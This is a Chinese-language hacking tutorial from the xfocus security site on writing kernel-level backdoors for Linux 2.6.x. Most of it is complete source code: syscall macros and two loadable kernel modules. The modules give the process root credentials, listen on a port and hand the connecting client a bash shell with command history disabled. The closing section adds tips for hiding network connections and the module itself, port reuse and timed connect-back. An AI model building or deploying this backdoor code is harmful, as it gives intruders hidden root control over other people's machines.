xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
添加文章 Xcon English Version

抒写Linux 2.6.x下内核级后门程序


创建时间:2008-08-31
文章属性:原创
文章提交:wzt (wzt_at_xsec.org)

抒写Linux 2.6.x下内核级后门程序

Author: wzt
EMail: wzt@xsec.org
Site: http://www.xsec.org & hhtp://hi.baidu.com/wzt85
Date: 2008-8-29

一. 内核后门简介
二. 内核中系统调用
三. 使用kernel mode socket函数
四. 如何扩展后门
五. 参考资料
六. 相关源代码

一. 内核后门简介

    所谓内核后门, 当然指的是在内核空间中给hacker提供的可远程控制的shell模块喽, 性质跟ring3下的后门一样,只是所有功能都在内核空间实现了而已。其实它跟rootkit的定义基本已经混淆了。有的内核后门不能提供隐藏行为的功能,有的rookit没有提供远程shell的功能。只有两者互补才能组合成一个功能强的'root-kit'.
    本文只介绍2种实现内核后门的基本方法,如果您有更好的方法,还请多多指教。
    
二. 内核中系统调用

    Unix世界中一切皆文件的思想将socket通信变的简单的多, 通常我们直接可以用read,write等api函数作为socket通信的方法,这些api函数最终都会调用kernel提供的sys_XXX系列函数。平时用到的read等函数早以在c库中封装好了。其实我们可以自己直接向系统发送软中断int 0x80来执行sys_read函数,如:

    int my_read(int fd, char * buf, off_t count)
    {
        long __res;

        __asm__ volatile ("push %%ebx; int $0x80; pop %%ebx"

                          : "=a" (__res)
                          : "0" (__NR_read), "ri" ((long)(fd),     "c"((long)(buf),
                            "d" ((long)(count)) :"memory");

                          return (int)(__res);
    }
    
    这里用到了at&t的内嵌汇编程序来实现, 其实就是向eax寄存器中存入具体的系统调用号,ebx,ecx,edx依次存入read函数的参数。最后执行一个int $0x80陷入内核去执行sys_read.要想在内核空间中实现后门的功能, 就必须调用某些函数来进行socket通信。 本节介绍直接在内核中使用系统调用的方式来和远程用户进行通讯,下一节则介绍直接使用内核socket函数进行通讯。
    
    通过上面的例子,我们明白了如何在用户空间下来使用系统调用。那么上述方法也可以用在内核空间中,这样在内核空间执行系统调用感觉效率会很低,但是对我们来说,编写程序将会非常的方便。著名的sk rookti就是用这种方式来进行通讯的。
    
    linux内核提供了很多个不同的系统调用,我们需要编写几个宏来方便的使用这些系统调用。比如下面这几个宏:
    
    #define my__syscall_return(type, res) \
    do { \
        if ((unsigned long)(res) >= (unsigned long)(-(128 + 1))) { \
        errno = -(res); \
        res = -1; \
        } \
        return (type) (res); \
    } while (0)

    #define my_syscall3(type,name,type1,arg1,type2,arg2,type3,arg3) \
    type name(type1 arg1,type2 arg2,type3 arg3) \
    { \
    long __res; \
    __asm__ volatile ("push %%ebx ; int $0x80 ; pop %%ebx" \
    : "=a" (__res) \
    : "0" (__NR_##name),"ri" ((long)(arg1)),"c" ((long)(arg2)), \
          "d" ((long)(arg3)) : "memory"); \
    my__syscall_return(type,__res); \
    }

    my_syscall3代表这个系统调用有3个参数,以read系统调用为例,我们可以在内核空间中这样使用它:
    static inline my_syscall3(int, read, int, fd, char *, buf, off_t, count);
    
    编译的时候就会被展开成:
    
    int read(int fd, char * buf, off_t count)    \
    {                                            \
        long __res;                              \
        
        __asm__ volatile ("push %%ebx; int $0x80; pop %%ebx"\
        
                          : "=a" (__res) \
                          : "0" (__NR_read), "ri" ((long)(fd), "c"((long)(buf), \
                            "d" ((long)(count)) :"memory"); \
                            
                          return (int)(__res);\
    }
    
    本文后面将会给出比较全面的宏,通过这些宏,可以在内核中随意的使用系统调用。
    
    好了,现在可以使用read, write, select等系统调用在内核空间收发信息了。 但是怎么在内核中使用平时在用户空间下用到的那些socket函数呢?其实这些socket函数都是通过执行sys_socketall系统调用来实现的:
    
    linux-2.6.18/net/socket.c
    
    asmlinkage long sys_socketcall(int call, unsigned long __user *args)
    {
        unsigned long a[6];
        unsigned long a0,a1;
        int err;

        ...
        
        a0=a[0];
        a1=a[1];

        switch(call)
        {
                case SYS_SOCKET:
                        err = sys_socket(a0,a1,a[2]);
                        break;
                case SYS_BIND:
                        err = sys_bind(a0,(struct sockaddr __user *)a1, a[2]);
                        break;
                case SYS_CONNECT:
                        err = sys_connect(a0, (struct sockaddr __user *)a1, a[2]);
                        break;
                case SYS_LISTEN:
                        err = sys_listen(a0,a1);
                        break;
                case SYS_SOCKETPAIR:
                        err = sys_socketpair(a0,a1, a[2], (int __user *)a[3]);
                        break;
                case SYS_SEND:
                        err = sys_send(a0, (void __user *)a1, a[2], a[3]);
                        break;
        ...
    }
    
    通过向sys_socketcall函数2个参数来执行具体的函数调用,参数call一般为SYS_SOCKET, SYS_BIND等,args是一个数组,通过向这个数组的每个元素赋值,来调用不同的函数。以bind这个函数为例,可以这样调用:
    
    struct sockaddr_in cli_addr;
    unsigned long args[];
    
    args[0] = sock_fd;
    args[1] = (unsigned long)cli_addr;
    args[2] = (unsigned long)sizeof(struct sockaddr_in);
    
    sys_socketcall(SYS_BIND, args);
    
其他函数类似。这样就可以在内核中来使用这些socket函数了。


下面给出一个具体的监听某一个端口的例子:
int k_listen(int port)
{
    struct task_struct *tsk = current;
    struct sockaddr_in serv_addr;
    struct sockaddr_in cli_addr;
    mm_segment_t old_fs;
    char buff[100];

    unsigned long arg[3];
    int sock_fd, sock_id;
    int tmp_kid;
    int i, n, cli_len;

    old_fs = get_fs();

    tsk->uid = 0;    
    tsk->euid = 0;
    tsk->gid = SGID;
    tsk->egid = 0;

    /* create socket */
    arg[0] = AF_INET;
    arg[1] = SOCK_STREAM;
    arg[2] = 0;

    set_fs(KERNEL_DS);

    ssetmask(~0);

    for (i=0; i < 4096; i++)
        close(i);

    if ((sock_fd = socketcall(SYS_SOCKET, arg)) == -1) {
        set_fs(old_fs);

            return 0;
        }
    printk("create socket ok.\n");

    /* bind address */
    memset((void *) &serv_addr, 0, sizeof(serv_addr));

    serv_addr.sin_family = AF_INET;
    serv_addr.sin_port = htons(port);
    serv_addr.sin_addr.s_addr = 0;

    arg[0] = sock_fd;
    arg[1] = (unsigned long) &serv_addr;
    arg[2] = (unsigned long) sizeof(serv_addr);

        if ((socketcall(SYS_BIND, arg)) == -1) {
        close(sock_fd);
                set_fs(old_fs);

                return 0;
        }
    printk("bind address ok.\n");

    /* begin listen */
        arg[0] = sock_fd;
        arg[1] = (unsigned long) 255;

        if ((socketcall(SYS_LISTEN, arg)) == -1) {
                close(sock_fd);
                set_fs(old_fs);

                return 0;
        }
    printk("listen on port %d\n", port);

    cli_len = sizeof(cli_addr);
    arg[0] = sock_fd;
    arg[1] = (unsigned long) &cli_addr;
    arg[2] = (unsigned long) &cli_len;

        if ((sock_id = socketcall(SYS_ACCEPT, arg)) == -1) {
        printk("accept error.\n");

                close(sock_fd);
                set_fs(old_fs);

                return 0;
        }
    printk("accept a client.\n");

    dup2(sock_id, 0);
    dup2(sock_id, 1);
    dup2(sock_id, 2);

    execve(earg[0], (const char **) earg, (const char **) env);

    close(sock_id);
    close(sock_fd);
    set_fs(old_fs);

    return 1;
}

    
三.使用kernel mode socket函数

     前面考虑到在内核空间使用系统调用会使系统效率有所降低。解决的方法是直接在内核中使用内核socket函数来进行通讯。我们去看看kernel mode socket是怎么在内核中实现的,同样在linux-2.6.18/net/socket.c中:
    
      在user mode socket中的socket函数的功能是建立个套接字,它是调用sys_socket函数来实现的,因此我们在自己的模块中直接使用它的函数来完成相同的功能.先看下它是怎么实现的:
    
     asmlinkage long sys_socket(int family, int type, int protocol)
     {
        int retval;
        struct socket *sock;

        retval = sock_create(family, type, protocol, &sock);
        if (retval < 0)
                goto out;

        retval = sock_map_fd(sock);
        if (retval < 0)
                goto out_release;

        out:

        return retval;

        out_release:
        sock_release(sock);
        return retval;
     }
    
     关键就2个函数,sock_create()来初始化一个struct socket结构体,在用sock_map_fd()来给刚才的socket结构分配一个空闲的文件描述符。 有兴趣的读者可以继续深入这些函数,看看它的具体实现细节。在这里我们只关心最上层的这2个函数。因为我们要在自己的模块中调用它们。同样对于sys_bind, sys_listen等,我们用同样的办法来处理。有了源代码,看它们怎么实现,我们就怎么实现。
    
     下面给出一个监听某端口的例子:
    
int k_listen(void)
{
        struct socket *sock,*newsock;
        struct sockaddr_in server;
    struct sockaddr client[128];
    char address[128];
    int sockfd, sockid, i,size = 0;
        int error = 0,len = sizeof(struct sockaddr);
        
        //set_fs(KERNEL_DS);
        
        error = sock_create(AF_INET,SOCK_STREAM,0,&sock);
        if (error < 0) {
                printk("[-] socket_create failed: %d\n",error);
                sock_release(sock);
                return -1;
        }
    
    sockfd = sock_map_fd(sock);
    if (sockfd < 0) {
        printk("[-] sock_map_fd() failed.\n");
        sock_release(sock);
        return -1;
    }        

    for (i = 0; i < 8; i++)
        server.sin_zero[i] = 0;

    server.sin_family = PF_INET;
    server.sin_addr.s_addr = INADDR_ANY;
    server.sin_port = htons(port);

    error = security_socket_bind(sock,(struct sockaddr *)&server,len);
    if (!error) {
        error = sock->ops->bind(sock,(struct sockaddr *)&server,len);
    
        if (error < 0) {
            printk("[-] unix_bind() failed.\n");
            sock_release(sock);
            return -1;
        }
    
    }

    error = sock->ops->listen(sock,5);
    if (error < 0) {
        printk("[-] unix_listen failed.\n");
        sock_release(sock);
        return -1;
    }
    printk("[+] listen port %d ok.\n",port);
        
    if (!(newsock = sock_alloc())) {
        printk("[-] sock_alloc() failed.\n");
        sock_release(sock);
        return -1;
    }

    newsock->type = sock->type;
    newsock->ops = sock->ops;

    printk("[+] waiting for a client.\n");

    if (newsock->ops->accept) {
        error = security_socket_accept(sock,newsock);
        if (error < 0)
            goto out_release;

        if ((error = newsock->ops->accept(sock,newsock,sock->file->f_flags)) == -ERESTARTSYS) {
            printk("[-] accept got a signal.\n");
            goto out_release;
        }
        else if (error < 0) {
            printk("[-] unix_accept failed.\n");
            goto out_release;
        }

        if (newsock->ops->getname(newsock,client,&len,1) < 0)
            goto out_release;

        security_socket_post_accept(sock,newsock);
        
        sockid = sock_map_fd(newsock);
        if (sockid < 0) {
                printk("[-] sock_map_fd() failed.\n");
                sock_release(newsock);
                return -1;
        }
        
        printk("[+] accept a client.\n");
    
        kshell(sockid);    
    }

        return 1;
    
    out_release:
    sock_release(sock);
    sock_release(newsock);

    return 0;
}

四. 如何扩展后门

     如果费这么大力气在内核中就实现了这么简单的功能,还不如在用户空间实现。
     问题关键是我们现在在内核中,只要对内核有足够的了解,还有什么不能实现的呢?
     内核源码在手,能做什么,就看你的想象力了。首先是加上一些常用的rookit技巧, 如隐藏网络连接,hack下tcp4_seq_show就行了,隐藏模块list_del一下就行了。为了控制方便,加个pty支持吧。再牛的搞个端口复用吧。想嗅探启动吗?用netfilter过滤下就行了。
    
     下面说说编写更高级后门时需要注意的一些地方:
    
     1. 现在你在内核中,就要考虑并发和竞态的问题,给临界区加个锁或信号量是不错的选择。
    
     2. 如果你想做一个定时回连的后门,请不要使用内核定时器。 它的执行函数是在原子方式下执行的,也就是这个时候你不能去访问用户空间的东西,如果引起了休眠,内核可能就oops了。你可以使用schedule_timeout()让当前模块休息几秒,当调度程序把它调度回来的时候在尝试一次回连的操作,就不会有问题了。
    
五. 参考资料
    
  [1] Linux kernel source code
   http://www.kernel.org
  
  [2] sk1.3-b source code – sd
  http://sd.g-art.nl/sk
  
  [3] enyelkm 1.2 - RaiSe && David Reguera
  http://www.enye-sec.org
  
  [4] wnps-2.26 – wzt
  http://hi.baidu.com/wzt85

六. 相关源代码

     Syscalls.h

/* macros de syscalls */

int errno;

#define my__syscall_return(type, res) \
do { \
    if ((unsigned long)(res) >= (unsigned long)(-(128 + 1))) { \
        errno = -(res); \
        res = -1; \
    } \
    return (type) (res); \
} while (0)

/* XXX - _foo needs to be __foo, while __NR_bar could be _NR_bar. */
#define my_syscall0(type,name) \
type name(void) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
    : "=a" (__res) \
    : "0" (__NR_##name)); \
my__syscall_return(type,__res); \
}

#define my_syscall1(type,name,type1,arg1) \
type name(type1 arg1) \
{ \
long __res; \
__asm__ volatile ("push %%ebx ; movl %2,%%ebx ; int $0x80 ; pop %%ebx" \
    : "=a" (__res) \
    : "0" (__NR_##name),"ri" ((long)(arg1)) : "memory"); \
my__syscall_return(type,__res); \
}

#define my_syscall2(type,name,type1,arg1,type2,arg2) \
type name(type1 arg1,type2 arg2) \
{ \
long __res; \
__asm__ volatile ("push %%ebx ; movl %2,%%ebx ; int $0x80 ; pop %%ebx" \
    : "=a" (__res) \
    : "0" (__NR_##name),"ri" ((long)(arg1)),"c" ((long)(arg2)) \
    : "memory"); \
my__syscall_return(type,__res); \
}

#define my_syscall3(type,name,type1,arg1,type2,arg2,type3,arg3) \
type name(type1 arg1,type2 arg2,type3 arg3) \
{ \
long __res; \
__asm__ volatile ("push %%ebx ; movl %2,%%ebx ; int $0x80 ; pop %%ebx" \
    : "=a" (__res) \
    : "0" (__NR_##name),"ri" ((long)(arg1)),"c" ((long)(arg2)), \
          "d" ((long)(arg3)) : "memory"); \
my__syscall_return(type,__res); \
}

#define my_syscall4(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4) \
type name (type1 arg1, type2 arg2, type3 arg3, type4 arg4) \
{ \
long __res; \
__asm__ volatile ("push %%ebx ; movl %2,%%ebx ; int $0x80 ; pop %%ebx" \
    : "=a" (__res) \
    : "0" (__NR_##name),"ri" ((long)(arg1)),"c" ((long)(arg2)), \
      "d" ((long)(arg3)),"S" ((long)(arg4)) : "memory"); \
my__syscall_return(type,__res); \
}

#define my_syscall5(type,name,type1,arg1,type2,arg2,type3,arg3,type4,arg4, \
      type5,arg5) \
type name (type1 arg1,type2 arg2,type3 arg3,type4 arg4,type5 arg5) \
{ \
long __res; \
__asm__ volatile ("push %%ebx ; movl %2,%%ebx ; movl %1,%%eax ; " \
                  "int $0x80 ; pop %%ebx" \
    : "=a" (__res) \
    : "i" (__NR_##name),"ri" ((long)(arg1)),"c" ((long)(arg2)), \
      "d" ((long)(arg3)),"S" ((long)(arg4)),"D" ((long)(arg5)) \
    : "memory"); \
my__syscall_return(type,__res); \
}

Kshell.c

/*
* kenel mode socket door v0.1
*
* by wzt http://www.xsec.org
*/

#include <linux/types.h>
#include <linux/stddef.h>
#include <linux/unistd.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/kernel.h>
#include <linux/string.h>
#include <linux/mm.h>
#include <linux/slab.h>
#include <linux/sched.h>
#include <linux/in.h>
#include <linux/skbuff.h>
#include <linux/ip.h>
#include <linux/netdevice.h>
#include <linux/dirent.h>
#include <linux/proc_fs.h>
#include <linux/errno.h>
#include <net/tcp.h>
#include <asm/processor.h>
#include <asm/uaccess.h>
#include <asm/unistd.h>
#include <asm/ioctls.h>
#include <asm/termbits.h>
#include "syscalls.h"

MODULE_LICENSE("GPL");
MODULE_AUTHOR("wzt");

#define __NR_e_exit     __NR_exit

#define SGID            0x489196ab
#define HOME        "/"

static char *earg[4] = { "/bin/bash", "--noprofile", "--norc", NULL };

char *env[]={
    "TERM=linux",
    "HOME=" HOME,
    "PATH=/bin:/usr/bin:/sbin:/usr/sbin:/usr/local/bin"
    ":/usr/local/sbin",
    "HISTFILE=/dev/null",
     NULL };

static inline my_syscall0(pid_t, fork);
static inline my_syscall0(long, pause);
static inline my_syscall2(int, kill, pid_t, pid, int, sig);
static inline my_syscall1(int, chdir, const char *, path);
static inline my_syscall1(long, ssetmask, int, newmask);
static inline my_syscall3(int, write, int, fd, const char *, buf, off_t, count);
static inline my_syscall3(int, read, int, fd, char *, buf, off_t, count);
static inline my_syscall1(int, e_exit, int, exitcode);
static inline my_syscall3(int, open, const char *, file, int, flag, int, mode);
static inline my_syscall1(int, close, int, fd);
static inline my_syscall2(int, dup2, int, oldfd, int, newfd);
static inline my_syscall2(int, socketcall, int, call, unsigned long *, args);
static inline my_syscall3(pid_t, waitpid, pid_t, pid, int *, status, int, options);
static inline my_syscall3(int, execve, const char *, filename,
    const char **, argv, const char **, envp);
static inline my_syscall3(long, ioctl, unsigned int, fd, unsigned int, cmd,
        unsigned long, arg);
static inline my_syscall5(int, _newselect, int, n, fd_set *, readfds, fd_set *,
        writefds, fd_set *, exceptfds, struct timeval *, timeout);
static inline my_syscall2(unsigned long, signal, int, sig,
        __sighandler_t, handler);
        
/**
* the code copy from adore-ng
*/
int wnps_atoi(const char *str)
{
        int ret = 0, mul = 1;
        const char *ptr;

        for (ptr = str; *ptr >= '0' && *ptr <= '9'; ptr++)
                ;
        ptr--;
        while (ptr >= str) {
                if (*ptr < '0' || *ptr > '9')
                        break;
                ret += (*ptr - '0') * mul;
                mul *= 10;
                ptr--;
        }
        return ret;
}

/**
* in_aton - change str to ipv4 address.
*
* see net/core/utils.c
*/
__u32 wnps_in_aton(const char *str)
{
        unsigned long l;
        unsigned int val;
        int i;

        l = 0;
        for (i = 0; i < 4; i++) {
                l <<= 8;
                if (*str != '\0') {
                        val = 0;
                        while (*str != '\0' && *str != '.') {
                                val *= 10;
                                val += *str - '0';
                                str++;
                        }
                        l |= val;
                        if (*str != '\0')
                                str++;
                }
        }

        return(htonl(l));
}

int k_listen(int port)
{
    struct task_struct *tsk = current;
    struct sockaddr_in serv_addr;
    struct sockaddr_in cli_addr;
    mm_segment_t old_fs;
    char buff[100];

    unsigned long arg[3];
    int sock_fd, sock_id;
    int tmp_kid;
    int i, n, cli_len;

    old_fs = get_fs();

    tsk->uid = 0;    
    tsk->euid = 0;
    tsk->gid = SGID;
    tsk->egid = 0;

    /* create socket */
    arg[0] = AF_INET;
    arg[1] = SOCK_STREAM;
    arg[2] = 0;

    set_fs(KERNEL_DS);

    ssetmask(~0);

    for (i=0; i < 4096; i++)
        close(i);

    if ((sock_fd = socketcall(SYS_SOCKET, arg)) == -1) {
        set_fs(old_fs);

            return 0;
        }
    printk("create socket ok.\n");

    /* bind address */
    memset((void *) &serv_addr, 0, sizeof(serv_addr));

    serv_addr.sin_family = AF_INET;
    serv_addr.sin_port = htons(port);
    serv_addr.sin_addr.s_addr = 0;

    arg[0] = sock_fd;
    arg[1] = (unsigned long) &serv_addr;
    arg[2] = (unsigned long) sizeof(serv_addr);

        if ((socketcall(SYS_BIND, arg)) == -1) {
        close(sock_fd);
                set_fs(old_fs);

                return 0;
        }
    printk("bind address ok.\n");

    /* begin listen */
        arg[0] = sock_fd;
        arg[1] = (unsigned long) 255;

        if ((socketcall(SYS_LISTEN, arg)) == -1) {
                close(sock_fd);
                set_fs(old_fs);

                return 0;
        }
    printk("listen on port %d\n", port);

    cli_len = sizeof(cli_addr);
    arg[0] = sock_fd;
    arg[1] = (unsigned long) &cli_addr;
    arg[2] = (unsigned long) &cli_len;

        if ((sock_id = socketcall(SYS_ACCEPT, arg)) == -1) {
        printk("accept error.\n");

                close(sock_fd);
                set_fs(old_fs);

                return 0;
        }
    printk("accept a client.\n");

    dup2(sock_id, 0);
    dup2(sock_id, 1);
    dup2(sock_id, 2);

    execve(earg[0], (const char **) earg, (const char **) env);

    close(sock_id);
    close(sock_fd);
    set_fs(old_fs);

    return 1;
}

static int ksocket_init(void)
{
    printk("ksocket start.\n");

    k_listen(22);
}

static void ksocket_exit(void)
{
    printk("ksocket exit.\n");

}

module_init(ksocket_init);
module_exit(ksocket_exit);


Kshell1.c

/*
* kenel mode socket door v0.1
*
* by wzt http://www.xsec.org
*/

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/socket.h>
#include <linux/net.h>
#include <linux/in.h>
#include <linux/fs.h>
#include <linux/file.h>
#include <linux/types.h>
#include <linux/errno.h>
#include <linux/string.h>
#include <linux/unistd.h>
#include <net/sock.h>
#include <asm/uaccess.h>
#include <asm/unistd.h>

#include "syscalls.h"

#define port    8800
#define LEN     256

MODULE_LICENSE("GPL");
MODULE_AUTHOR("wzt");

#define SGID            0x489196ab
#define HOME            "/"

static char *earg[4] = { "/bin/bash", "--noprofile", "--norc", NULL };

char *env[]={
    "TERM=linux",
    "HOME=" HOME,
    "PATH=/bin:/usr/bin:/sbin:/usr/sbin:/usr/local/bin"
    ":/usr/local/sbin",
    "HISTFILE=/dev/null",
     NULL };

static inline my_syscall2(int, dup2, int, oldfd, int, newfd);
static inline my_syscall3(int, execve, const char *, filename,
        const char **, argv, const char **, envp);

int kshell(int sock_fd)
{
        struct task_struct *tsk = current;
        mm_segment_t old_fs;

        old_fs = get_fs();
    set_fs(KERNEL_DS);

        tsk->uid = 0;
        tsk->euid = 0;
        tsk->gid = SGID;
        tsk->egid = 0;

    dup2(sock_fd, 0);
    dup2(sock_fd, 1);
    dup2(sock_fd, 2);

        execve(earg[0], (const char **) earg, (const char **) env);

        set_fs(old_fs);

    return 1;
}

int k_listen(void)
{
        struct socket *sock,*newsock;
        struct sockaddr_in server;
    struct sockaddr client[128];
    char address[128];
    int sockfd, sockid, i,size = 0;
        int error = 0,len = sizeof(struct sockaddr);
        
        //set_fs(KERNEL_DS);
        
        error = sock_create(AF_INET,SOCK_STREAM,0,&sock);
        if (error < 0) {
                printk("[-] socket_create failed: %d\n",error);
                sock_release(sock);
                return -1;
        }
    
    sockfd = sock_map_fd(sock);
    if (sockfd < 0) {
        printk("[-] sock_map_fd() failed.\n");
        sock_release(sock);
        return -1;
    }        

    for (i = 0; i < 8; i++)
        server.sin_zero[i] = 0;

    server.sin_family = PF_INET;
    server.sin_addr.s_addr = INADDR_ANY;
    server.sin_port = htons(port);

    error = security_socket_bind(sock,(struct sockaddr *)&server,len);
    if (!error) {
        error = sock->ops->bind(sock,(struct sockaddr *)&server,len);
    
        if (error < 0) {
            printk("[-] unix_bind() failed.\n");
            sock_release(sock);
            return -1;
        }
    
    }

    error = sock->ops->listen(sock,5);
    if (error < 0) {
        printk("[-] unix_listen failed.\n");
        sock_release(sock);
        return -1;
    }
    printk("[+] listen port %d ok.\n",port);
        
    if (!(newsock = sock_alloc())) {
        printk("[-] sock_alloc() failed.\n");
        sock_release(sock);
        return -1;
    }

    newsock->type = sock->type;
    newsock->ops = sock->ops;

    printk("[+] waiting for a client.\n");

    if (newsock->ops->accept) {
        error = security_socket_accept(sock,newsock);
        if (error < 0)
            goto out_release;

        if ((error = newsock->ops->accept(sock,newsock,sock->file->f_flags)) == -ERESTARTSYS) {
            printk("[-] accept got a signal.\n");
            goto out_release;
        }
        else if (error < 0) {
            printk("[-] unix_accept failed.\n");
            goto out_release;
        }

        if (newsock->ops->getname(newsock,client,&len,1) < 0)
            goto out_release;

        security_socket_post_accept(sock,newsock);
        
        sockid = sock_map_fd(newsock);
        if (sockid < 0) {
                printk("[-] sock_map_fd() failed.\n");
                sock_release(newsock);
                return -1;
        }
        
        printk("[+] accept a client.\n");
    
        kshell(sockid);    
    }

        return 1;
    
    out_release:
    sock_release(sock);
    sock_release(newsock);

    return 0;
}

int k_socket_init(void)
{
        printk("[+] kernel socket test start.\n");
        
        k_listen();
}

void k_socket_exit(void)
{
        printk("[+] kernel socket test over.\n");
}

module_init(k_socket_init);
module_exit(k_socket_exit);